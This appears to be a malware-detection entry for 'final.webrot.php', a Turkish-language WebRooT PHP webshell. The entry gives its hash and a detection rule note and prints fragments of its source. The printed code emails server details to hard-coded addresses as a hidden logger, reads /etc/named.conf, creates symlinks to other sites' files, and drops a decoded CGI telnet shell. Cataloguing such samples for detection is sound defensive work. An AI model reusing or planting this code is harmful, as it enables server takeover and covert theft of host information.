final.webrot.php
WebRooT webshell with backdoors
PHP decoder eval webshellPHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module
SHA-256b7cf688c973927b763f9b73a8cef604c52e1feca59391dcc8ec2e2e70a9a2f15
MaleculeO₂(CAs)H₅(Cm₈Db₇F₁₂Os₇Po₄)Md₂Th
Evidence
1<?php
2set_time_limit(0);
3ob_start();
4error_reporting(0);
5$IIIIIIIIIIII = '[email protected]';
6$IIIIIIIIIIIl = 'WebRooT Logger';
7$IIIIIIIIIII1 = 'Dosya Yolu : '.$_SERVER['DOCUMENT_ROOT']."\r\n";
8$IIIIIIIIIII1.= 'Server Mail : '.$_SERVER['SERVER_ADMIN']."\r\n";
9$IIIIIIIIIII1.= 'Server isletim sistemi : '.$_SERVER['SERVER_SOFTWARE']."\r\n";
10$IIIIIIIIIII1.= 'ip : '.$_SERVER['SERVER_ADDR']."\r\n";
11$IIIIIIIIIII1.= 'OS : '.$IIIIIIIIIIlI = @exec('uname -a')."\r\n";
12$IIIIIIIIIII1.= 'Kapali Fonksiyon : '.ini_get('disable_functions')."\r\n";
13$IIIIIIIIIII1.= 'Shell Link : http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\r\n";
14$IIIIIIIIIII1.= 'Avlanan Site : '.$_SERVER['HTTP_HOST']."\r\n";
15mail($IIIIIIIIIIII,$IIIIIIIIIIIl,$IIIIIIIIIII1);
16$IIIIIIIIIIll = '[email protected]';
17$IIIIIIIIIIl1 = 'WebRooT Logger';
18$IIIIIIIIII1I = 'Dosya Yolu : '.$_SERVER['DOCUMENT_ROOT']."\r\n";
19$IIIIIIIIII1I.= 'Server …
324:25… 00t'])){
325switch ($_REQUEST['webr00t']){
326case 'sec':
327echo '<div class="ikaz"></a><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Sunucuda Bulunan Sitelerin Hangi Scripti Kullandigini Listeler..</strong></span></span></em></div>';
328$IIIIIIIIIl1I = @file('/etc/named.conf');
329if(!$IIIIIIIIIl1I){
330die(" can't read /etc/named.conf");
331}else{
332echo "<img src=http://img810.imageshack.us/img810/8043/webr00t12.png><div class='tmp'><table align='center' width='40%'><td> Domains </td><td> Script </td>";
333foreach($IIIIIIIIIl1I as $IIIIIIIIIl1l){
334if(eregi('zone',$IIIIIIIIIl1l)){
⋯4 lines
562:32…
563$IIIIIIIlII11 = $_POST['symfile'];
564$IIIIIIIlIlII = $_POST['symlink'];
565if ($IIIIIIIlIlII)
566{
567@symlink("$IIIIIIIlII1l","sym/$IIIIIIIlII11");
568echo '<br /><a target="_blank" href="sym/'.$IIIIIIIlII11.'" >'.$IIIIIIIlII11.'</a>';
569}
570break;
571case 'telnet':
572echo '<div class="ikaz"><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Cgi-Telnet Gelismis Surum..</strong></span></span></em></ …
939:22… W50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0=';
940$IIIIIIIlIl1I = fopen('web.root','w+');
941$IIIIIIIlIl1l = fwrite($IIIIIIIlIl1I ,base64_decode($IIIIIIIlIll1));
942fclose($IIIIIIIlIl1I);
943chmod('web.root',0755);
944echo '<iframe src=cgiweb/web.root width=100% height=600px frameborder=0></iframe> ';
945break;
946case 'config':
947echo '<div class="ikaz"><em><span style="font-family: Arial;"><span style="font-size: small;"><strong>Serverdaki Tum Configleri Bularak Bir Klasor Alt�nda Listel …
1171:28… IIIIIIIlI1ll=$_GET['file'];
1172else if(!empty($_POST['file'])) $IIIIIIIlI1ll=$_POST['file'];
1173else $IIIIIIIlI1ll='';
1174echo '<PRE><img
1175src="http://img810.imageshack.us/img810/8043/webr00t12.png"><P>W��RooT Symlink Shell <a
⋯5 lines